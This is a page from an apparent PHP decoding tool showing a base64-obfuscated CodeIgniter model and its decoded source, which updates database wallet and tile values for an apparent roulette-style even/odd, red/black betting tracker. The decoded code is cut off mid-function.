Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCmlmICghZGVmaW5lZCgnQkFTRVBBVEgnKSkNCglleGl0KCdObyB..
Decoded Output download
?>b'<?php
if (!defined(\'BASEPATH\'))
exit(\'No direct script access allowed\');
class Inputpages_model extends CI_Model {
public function __construct() {
parent::__construct();
$this -> load -> library("session");
$this->load->database();
}
public function savementionnumZero(){
$session_id = $this->session->session_id;
$data[\'session_id\'] = $session_id;
$data[\'mnumber\'] = $this->input->post(\'mnumber\');
$this -> db -> insert(TBL_MENTIONNUMREC, $data);
$inserted_id = $this -> db -> insert_id();
$getSetvalue = $this->getSetvalue();
$dnumber = $getSetvalue[\'dnumber\'];
$getWalletvalue = $this->getWalletvalue();
$eowallet = $getWalletvalue[\'eowallet\'];
$updatewallet[\'eowallet\'] = $eowallet+$getSetvalue[\'lnumber\'];
$rbwallet = $getWalletvalue[\'rbwallet\'];
$updatewallet[\'rbwallet\'] = $rbwallet+$getSetvalue[\'lnumber\'];
$htwallet = $getWalletvalue[\'htwallet\'];
$updatewallet[\'htwallet\'] = $htwallet+$getSetvalue[\'lnumber\'];
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
$getTopthreeVal = $this->getTopthreeVal();
if($getTopthreeVal){
foreach($getTopthreeVal as $mnumval){
//$tilesmnumval[] = $this->getValueinSet($mnumval[\'mnumber\']);
$returnnumber[] = $mnumval[\'mnumber\'];
}
}
if(count($returnnumber) > 0){
$returnnumber = implode(\',\',$returnnumber);
}
$totaloutgoing = 0;
if($this->session->userdata(\'returnstring\')){
$getWalletvalue = $this->getWalletvalue();
$eowalletValue = $getWalletvalue[\'eowallet\'];
if($this->session->userdata(\'returnstring\') == \'even\'){
$eotilesValue = $getWalletvalue[\'eventiles\'];
$geneowalletval = ($eotilesValue*2)+$eowalletValue;
$transferEoWalletValue = round($geneowalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finaleowalletValue = $transferEoWalletValue;
}else{
$finaleowalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'eventiles\'] = $transferEoWalletValue;
$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'eventiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$eotilesValue = $getWalletvalue[\'oddtiles\'];
$geneowalletval = ($eotilesValue*2)+$eowalletValue;
$transferEoWalletValue = round($geneowalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finaleowalletValue = $transferEoWalletValue;
}else{
$finaleowalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'oddtiles\'] = $transferEoWalletValue;
$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'oddtiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
}
if($this->session->userdata(\'returncolorstring\')){
$rbwalletValue = $getWalletvalue[\'rbwallet\'];
if($this->session->userdata(\'returncolorstring\') == \'red\'){
$rbtilesValue = $getWalletvalue[\'redtiles\'];
$genrbwalletval = ($rbtilesValue*2)+$rbwalletValue;
$transferrbWalletValue = round($genrbwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finalrbwalletValue = $transferrbWalletValue;
}else{
$finalrbwalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'redtiles\'] = $transferrbWalletValue;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'redtiles\');
$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$rbtilesValue = $getWalletvalue[\'blacktiles\'];
$genrbwalletval = ($rbtilesValue*2)+$rbwalletValue;
$transferrbWalletValue = round($genrbwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finalrbwalletValue = $transferrbWalletValue;
}else{
$finalrbwalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'blacktiles\'] = $transferrbWalletValue;
$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'blacktiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
}
if($this->session->userdata(\'returnplacestring\')){
$htwalletValue = $getWalletvalue[\'htwallet\'];
if($this->session->userdata(\'returnplacestring\') == \'first\'){
$httilesValue = $getWalletvalue[\'firsttiles\'];
$genhtwalletval = ($httilesValue*2)+$htwalletValue;
$transferhtWalletValue = round($genhtwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finalhtwalletValue = $transferhtWalletValue;
}else{
$finalhtwalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'firsttiles\'] = $transferhtWalletValue;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'firsttiles\');
$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$httilesValue = $getWalletvalue[\'secondtiles\'];
$genhtwalletval = ($httilesValue*2)+$htwalletValue;
$transferhtWalletValue = round($genhtwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finalhtwalletValue = $transferhtWalletValue;
}else{
$finalhtwalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'secondtiles\'] = $transferhtWalletValue;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'secondtiles\');
$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
}
$updatewallet = array();
$updatewallet[\'outgoing\'] = $getWalletvalue[\'outgoing\']+$totaloutgoing;
$updatewallet[\'ledger\'] = $getWalletvalue[\'incoming\']- $updatewallet[\'outgoing\'];
if($getSetvalue[\'ledgerlimit\'] < $updatewallet[\'ledger\']){
$updatewallet[\'mainledger\'] = $getWalletvalue[\'mainledger\']+$updatewallet[\'ledger\'];
$updatewallet[\'ledger\'] = 0;
$updatewallet[\'incoming\'] = 0;
$updatewallet[\'outgoing\'] = 0;
$updatewallet[\'eowallet\'] = 0;
$updatewallet[\'rbwallet\'] = 0;
$updatewallet[\'htwallet\'] = 0;
$updatewallet[\'redtiles\'] = 0;
$updatewallet[\'blacktiles\'] = 0;
$updatewallet[\'firsttiles\'] = 0;
$updatewallet[\'secondtiles\'] = 0;
$updatewallet[\'eventiles\'] = 0;
$updatewallet[\'oddtiles\'] = 0;
}
if($updatewallet[\'ledger\'] < $getSetvalue[\'minusledglimit\']){
$updatewallet[\'minusledger\'] = $getWalletvalue[\'minusledger\']+$updatewallet[\'ledger\'];
$updatewallet[\'ledger\'] = 0;
$updatewallet[\'incoming\'] = 0;
$updatewallet[\'outgoing\'] = 0;
$updatewallet[\'eowallet\'] = 0;
$updatewallet[\'rbwallet\'] = 0;
$updatewallet[\'htwallet\'] = 0;
$updatewallet[\'redtiles\'] = 0;
$updatewallet[\'blacktiles\'] = 0;
$updatewallet[\'firsttiles\'] = 0;
$updatewallet[\'secondtiles\'] = 0;
$updatewallet[\'eventiles\'] = 0;
$updatewallet[\'oddtiles\'] = 0;
}
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
if(@$this->session->userdata(\'eachtime\') == \'apply\'){
$this->onetime();
}
$getWalletvalue = $this->getWalletvalue();
$result = array();
$result[\'returnstring\'] = $this->session->userdata(\'returnstring\');
//$result[\'returnnumber\'] = $returnnumber;
$result[\'returncolorstring\'] = $this->session->userdata(\'returncolorstring\');
$result[\'returnplacestring\'] = $this->session->userdata(\'returnplacestring\');
$result[\'redtiles\'] = $getWalletvalue[\'redtiles\'];
$result[\'blacktiles\'] = $getWalletvalue[\'blacktiles\'];
$result[\'firsttiles\'] = $getWalletvalue[\'firsttiles\'];
$result[\'secondtiles\'] = $getWalletvalue[\'secondtiles\'];
$result[\'eventiles\'] = $getWalletvalue[\'eventiles\'];
$result[\'oddtiles\'] = $getWalletvalue[\'oddtiles\'];
$result[\'eowallet\'] = $getWalletvalue[\'eowallet\'];
$result[\'rbwallet\'] = $getWalletvalue[\'rbwallet\'];
$result[\'htwallet\'] = $getWalletvalue[\'htwallet\'];
$result[\'incoming\'] = $getWalletvalue[\'incoming\'];
$result[\'outgoing\'] = $getWalletvalue[\'outgoing\'];
$result[\'ledger\'] = $getWalletvalue[\'ledger\'];
$result[\'mainledger\'] = $getWalletvalue[\'mainledger\'];
$result[\'minusledger\'] = $getWalletvalue[\'minusledger\'];
if($getSetvalue[\'tilesequity\'] == \'yes\'){
$totaltilesval = 0;
if($this->session->userdata(\'returnstring\') == \'even\'){
$totaltilesval = $totaltilesval+$getWalletvalue[\'eventiles\'];
}else{
$totaltilesval = $totaltilesval+$getWalletvalue[\'oddtiles\'];
}
if($this->session->userdata(\'returncolorstring\') == \'red\'){
$totaltilesval = $totaltilesval+$getWalletvalue[\'redtiles\'];
}else{
$totaltilesval = $totaltilesval+$getWalletvalue[\'blacktiles\'];
}
if($this->session->userdata(\'returnplacestring\') == \'first\'){
$totaltilesval = $totaltilesval+$getWalletvalue[\'firsttiles\'];
}else{
$totaltilesval = $totaltilesval+$getWalletvalue[\'secondtiles\'];
}
$totaltilesval = round($totaltilesval/3);
$updatewallet = array();
if($this->session->userdata(\'returnstring\') == \'even\'){
$updatewallet[\'eventiles\']=$totaltilesval;
}else{
$updatewallet[\'oddtiles\']=$totaltilesval;
}
if($this->session->userdata(\'returncolorstring\') == \'red\'){
$updatewallet[\'redtiles\']=$totaltilesval;
}else{
$updatewallet[\'blacktiles\']=$totaltilesval;
}
if($this->session->userdata(\'returnplacestring\') == \'first\'){
$updatewallet[\'firsttiles\']=$totaltilesval;
}else{
$updatewallet[\'secondtiles\']=$totaltilesval;
}
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
$getWalletvalue = $this->getWalletvalue();
$result[\'redtiles\'] = $getWalletvalue[\'redtiles\'];
$result[\'blacktiles\'] = $getWalletvalue[\'blacktiles\'];
$result[\'firsttiles\'] = $getWalletvalue[\'firsttiles\'];
$result[\'secondtiles\'] = $getWalletvalue[\'secondtiles\'];
$result[\'eventiles\'] = $getWalletvalue[\'eventiles\'];
$result[\'oddtiles\'] = $getWalletvalue[\'oddtiles\'];
}
$this->session->set_userdata($result);
return json_encode($result);
}
public function savementionnum(){
$session_id = $this->session->session_id;
$data[\'session_id\'] = $session_id;
$data[\'mnumber\'] = $this->input->post(\'mnumber\');
$this -> db -> insert(TBL_MENTIONNUMREC, $data);
$inserted_id = $this -> db -> insert_id();
if($inserted_id != \'\'){
$getSetvalue = $this->getSetvalue();
$dnumber = $getSetvalue[\'dnumber\'];
$getWalletvalue = $this->getWalletvalue();
$eowallet = $getWalletvalue[\'eowallet\'];
$updatewallet[\'eowallet\'] = $eowallet+$getSetvalue[\'lnumber\'];
$rbwallet = $getWalletvalue[\'rbwallet\'];
$updatewallet[\'rbwallet\'] = $rbwallet+$getSetvalue[\'lnumber\'];
$htwallet = $getWalletvalue[\'htwallet\'];
$updatewallet[\'htwallet\'] = $htwallet+$getSetvalue[\'lnumber\'];
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
$getTopthreeVal = $this->getTopthreeVal();
if($getTopthreeVal){
foreach($getTopthreeVal as $mnumval){
$tilesmnumval[] = $this->getValueinSet($mnumval[\'mnumber\']);
$returnnumber[] = $mnumval[\'mnumber\'];
}
}
if($this->input->post(\'mnumber\')%2 == 0){
$returnstring = \'even\';
}else{
$returnstring = \'odd\';
}
if(count($returnnumber) > 0){
$returnnumber = implode(\',\',$returnnumber);
}
if($tilesmnumval[0][\'prop\'][0] == \'blackset\'){
$returncolorstring = \'black\';
}else{
$returncolorstring = \'red\';
}
if($tilesmnumval[0][\'prop\'][1] == \'firstht\'){
$returnplacestring = \'first\';
}else{
$returnplacestring = \'second\';
}
$storecnt = array();
$storecolorcnt = array();
$storeplacecnt = array();
if(count($tilesmnumval)>2){
$storecnt = array();
$storecolorcnt = array();
$storeplacecnt = array();
foreach($tilesmnumval as $val){
if($val[\'value\']%2 == 0){
$storecnt[] = \'even\';
}else{
$storecnt[] = \'odd\';
}
if($val[\'prop\'][0] == \'blackset\'){
$storecolorcnt[] = \'black\';
}else{
$storecolorcnt[] = \'red\';
}
if($val[\'prop\'][1] == \'firstht\'){
$storeplacecnt[] = \'first\';
}else{
$storeplacecnt[] = \'second\';
}
}
}
$eoStatus = \'pass\';
if($this->session->userdata(\'returnstring\')){
$previousString = $this->session->userdata(\'returnstring\');
if($previousString != $returnstring){
$eoStatus = \'fail\';
}else{
$eoStatus = \'pass\';
}
}
$rbStatus = \'pass\';
if($this->session->userdata(\'returncolorstring\')){
$previouscolorString = $this->session->userdata(\'returncolorstring\');
if($previouscolorString != $returncolorstring){
$rbStatus = \'fail\';
}else{
$rbStatus = \'pass\';
}
}
$htStatus = \'pass\';
if($this->session->userdata(\'returnplacestring\')){
$previousplaceString = $this->session->userdata(\'returnplacestring\');
if($previousplaceString != $returnplacestring){
$htStatus = \'fail\';
}else{
$htStatus = \'pass\';
}
}
if(count($storecnt) > 0){
if($storecnt[0] == \'even\' && $storecnt[1] == \'odd\' && $storecnt[2] == \'even\'){
$returnstring = \'odd\';
}
if($storecnt[0] == \'odd\' && $storecnt[1] == \'even\' && $storecnt[2] == \'odd\'){
$returnstring = \'even\';
}
}
if(count($storecolorcnt) > 0){
if($storecolorcnt[0] == \'red\' && $storecolorcnt[1] == \'black\' && $storecolorcnt[2] == \'red\'){
$returncolorstring = \'black\';
}
if($storecolorcnt[0] == \'black\' && $storecolorcnt[1] == \'red\' && $storecolorcnt[2] == \'black\'){
$returncolorstring = \'red\';
}
}
if(count($storeplacecnt) > 0){
if($storeplacecnt[0] == \'first\' && $storeplacecnt[1] == \'second\' && $storeplacecnt[2] == \'first\'){
$returnplacestring = \'second\';
}
if($storeplacecnt[0] == \'second\' && $storeplacecnt[1] == \'first\' && $storeplacecnt[2] == \'second\'){
$returnplacestring = \'first\';
}
}
$getWalletvalue = $this->getWalletvalue();
$totalincoming = 0;
$totaloutgoing = 0;
if($eoStatus == \'fail\'){
$eowalletValue = $getWalletvalue[\'eowallet\'];
if($this->session->userdata(\'returnstring\') == \'even\'){
$eotilesValue = $getWalletvalue[\'eventiles\'];
$geneowalletval = ($eotilesValue*2)+$eowalletValue;
$transferEoWalletValue = round($geneowalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finaleowalletValue = $transferEoWalletValue;
}else{
$finaleowalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'eventiles\'] = 0;
$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'eventiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$eotilesValue = $getWalletvalue[\'oddtiles\'];
$geneowalletval = ($eotilesValue*2)+$eowalletValue;
$transferEoWalletValue = round($geneowalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finaleowalletValue = $transferEoWalletValue;
}else{
$finaleowalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'oddtiles\'] = 0;
$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'oddtiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
if($getSetvalue[\'fctv\'] == \'yes\'){
if($returnstring == \'even\'){
$updatewallet = array();
$updatewallet[\'eventiles\'] = $transferEoWalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$updatewallet = array();
$updatewallet[\'oddtiles\'] = $transferEoWalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
}
}else{
$eowalletValue = $getWalletvalue[\'eowallet\'];
if($this->session->userdata(\'returnstring\') == \'even\'){
$eotilesValue = $getWalletvalue[\'eventiles\'];
$updatewallet = array();
$updatewallet[\'eventiles\'] = 0;
$totalincoming = $totalincoming+$this->session->userdata(\'eventiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$eotilesValue = $getWalletvalue[\'oddtiles\'];
$updatewallet = array();
$updatewallet[\'oddtiles\'] = 0;
$totalincoming = $totalincoming+$this->session->userdata(\'oddtiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
if($returnstring == \'even\'){
$eotilesValue = $getWalletvalue[\'eventiles\'];
$geneowalletval = $eowalletValue;
$transferEoWalletValue = round($geneowalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
}
$finaleowalletValue = $transferEoWalletValue;
$updatewallet = array();
$updatewallet[\'eventiles\'] = $transferEoWalletValue;
$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$eotilesValue = $getWalletvalue[\'oddtiles\'];
$geneowalletval = $eowalletValue;
$transferEoWalletValue = round($geneowalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
}
$finaleowalletValue = $transferEoWalletValue;
$updatewallet = array();
$updatewallet[\'oddtiles\'] = $transferEoWalletValue;
$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
}
if($rbStatus == \'fail\'){
$rbwalletValue = $getWalletvalue[\'rbwallet\'];
if($this->session->userdata(\'returncolorstring\') == \'red\'){
$rbtilesValue = $getWalletvalue[\'redtiles\'];
$genrbwalletval = ($rbtilesValue*2)+$rbwalletValue;
$transferrbWalletValue = round($genrbwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finalrbwalletValue = $transferrbWalletValue;
}else{
$finalrbwalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'redtiles\'] = 0;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'redtiles\');
$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$rbtilesValue = $getWalletvalue[\'blacktiles\'];
$genrbwalletval = ($rbtilesValue*2)+$rbwalletValue;
$transferrbWalletValue = round($genrbwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finalrbwalletValue = $transferrbWalletValue;
}else{
$finalrbwalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'blacktiles\'] = 0;
$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'blacktiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
if($getSetvalue[\'fctv\'] == \'yes\'){
if($returncolorstring == \'red\'){
$updatewallet = array();
$updatewallet[\'redtiles\'] = $transferrbWalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$updatewallet = array();
$updatewallet[\'blacktiles\'] = $transferrbWalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
}
}else{
$rbwalletValue = $getWalletvalue[\'rbwallet\'];
if($this->session->userdata(\'returncolorstring\') == \'red\'){
$rbtilesValue = $getWalletvalue[\'redtiles\'];
$updatewallet = array();
$updatewallet[\'redtiles\'] = 0;
$totalincoming = $totalincoming+$this->session->userdata(\'redtiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$rbtilesValue = $getWalletvalue[\'blacktiles\'];
$updatewallet = array();
$updatewallet[\'blacktiles\'] = 0;
$totalincoming = $totalincoming+$this->session->userdata(\'blacktiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
if($returncolorstring == \'red\'){
$rbtilesValue = $getWalletvalue[\'redtiles\'];
$genrbwalletval = $rbwalletValue;
$transferrbWalletValue = round($genrbwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
}
$finalrbwalletValue = $transferrbWalletValue;
$updatewallet = array();
$updatewallet[\'redtiles\'] = $transferrbWalletValue;
$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$rbtilesValue = $getWalletvalue[\'blacktiles\'];
$genrbwalletval = $rbwalletValue;
$transferrbWalletValue = round($genrbwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
}
$finalrbwalletValue = $transferrbWalletValue;
$updatewallet = array();
$updatewallet[\'blacktiles\'] = $transferrbWalletValue;
$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
}
if($htStatus == \'fail\'){
$htwalletValue = $getWalletvalue[\'htwallet\'];
if($this->session->userdata(\'returnplacestring\') == \'first\'){
$httilesValue = $getWalletvalue[\'firsttiles\'];
$genhtwalletval = ($httilesValue*2)+$htwalletValue;
$transferhtWalletValue = round($genhtwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finalhtwalletValue = $transferhtWalletValue;
}else{
$finalhtwalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'firsttiles\'] = 0;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'firsttiles\');
$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$httilesValue = $getWalletvalue[\'secondtiles\'];
$genhtwalletval = ($httilesValue*2)+$htwalletValue;
$transferhtWalletValue = round($genhtwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
}
if($getSetvalue[\'fctv\'] == \'yes\'){
$finalhtwalletValue = $transferhtWalletValue;
}else{
$finalhtwalletValue = 0;
}
$updatewallet = array();
$updatewallet[\'secondtiles\'] = 0;
$totaloutgoing = $totaloutgoing+$this->session->userdata(\'secondtiles\');
$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
if($getSetvalue[\'fctv\'] == \'yes\'){
if($returnplacestring == \'first\'){
$updatewallet = array();
$updatewallet[\'firsttiles\'] = $transferhtWalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$updatewallet = array();
$updatewallet[\'secondtiles\'] = $transferhtWalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
}
}else{
$htwalletValue = $getWalletvalue[\'htwallet\'];
if($this->session->userdata(\'returnplacestring\') == \'first\'){
$httilesValue = $getWalletvalue[\'firsttiles\'];
$updatewallet = array();
$updatewallet[\'firsttiles\'] = 0;
$totalincoming = $totalincoming+$this->session->userdata(\'firsttiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$httilesValue = $getWalletvalue[\'secondtiles\'];
$updatewallet = array();
$updatewallet[\'secondtiles\'] = 0;
$totalincoming = $totalincoming+$this->session->userdata(\'secondtiles\');
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
if($returnplacestring == \'first\'){
$httilesValue = $getWalletvalue[\'firsttiles\'];
$genhtwalletval = $htwalletValue;
$transferhtWalletValue = round($genhtwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
}
$finalhtwalletValue = $transferhtWalletValue;
$updatewallet = array();
$updatewallet[\'firsttiles\'] = $transferhtWalletValue;
$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}else{
$httilesValue = $getWalletvalue[\'secondtiles\'];
$genhtwalletval = $htwalletValue;
$transferhtWalletValue = round($genhtwalletval/$dnumber);
if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
}
$finalhtwalletValue = $transferhtWalletValue;
$updatewallet = array();
$updatewallet[\'secondtiles\'] = $transferhtWalletValue;
$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
}
}
$updatewallet = array();
$updatewallet[\'incoming\'] = $getWalletvalue[\'incoming\']+$totalincoming;
$updatewallet[\'outgoing\'] = $getWalletvalue[\'outgoing\']+$totaloutgoing;
$updatewallet[\'ledger\'] = $updatewallet[\'incoming\']- $updatewallet[\'outgoing\'];
if($getSetvalue[\'ledgerlimit\'] < $updatewallet[\'ledger\']){
$updatewallet[\'mainledger\'] = $getWalletvalue[\'mainledger\']+$updatewallet[\'ledger\'];
$updatewallet[\'ledger\'] = 0;
$updatewallet[\'incoming\'] = 0;
$updatewallet[\'outgoing\'] = 0;
$updatewallet[\'eowallet\'] = 0;
$updatewallet[\'rbwallet\'] = 0;
$updatewallet[\'htwallet\'] = 0;
$updatewallet[\'redtiles\'] = 0;
$updatewallet[\'blacktiles\'] = 0;
$updatewallet[\'firsttiles\'] = 0;
$updatewallet[\'secondtiles\'] = 0;
$updatewallet[\'eventiles\'] = 0;
$updatewallet[\'oddtiles\'] = 0;
}
if($updatewallet[\'ledger\'] < $getSetvalue[\'minusledglimit\']){
$updatewallet[\'minusledger\'] = $getWalletvalue[\'minusledger\']+$updatewallet[\'ledger\'];
$updatewallet[\'ledger\'] = 0;
$updatewallet[\'incoming\'] = 0;
$updatewallet[\'outgoing\'] = 0;
$updatewallet[\'eowallet\'] = 0;
$updatewallet[\'rbwallet\'] = 0;
$updatewallet[\'htwallet\'] = 0;
$updatewallet[\'redtiles\'] = 0;
$updatewallet[\'blacktiles\'] = 0;
$updatewallet[\'firsttiles\'] = 0;
$updatewallet[\'secondtiles\'] = 0;
$updatewallet[\'eventiles\'] = 0;
$updatewallet[\'oddtiles\'] = 0;
}
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
if(@$this->session->userdata(\'eachtime\') == \'apply\'){
$this->onetime();
}
$getWalletvalue = $this->getWalletvalue();
$result = array();
$result[\'returnstring\'] = $returnstring;
$result[\'returnnumber\'] = $returnnumber;
$result[\'returncolorstring\'] = $returncolorstring;
$result[\'returnplacestring\'] = $returnplacestring;
$result[\'redtiles\'] = $getWalletvalue[\'redtiles\'];
$result[\'blacktiles\'] = $getWalletvalue[\'blacktiles\'];
$result[\'firsttiles\'] = $getWalletvalue[\'firsttiles\'];
$result[\'secondtiles\'] = $getWalletvalue[\'secondtiles\'];
$result[\'eventiles\'] = $getWalletvalue[\'eventiles\'];
$result[\'oddtiles\'] = $getWalletvalue[\'oddtiles\'];
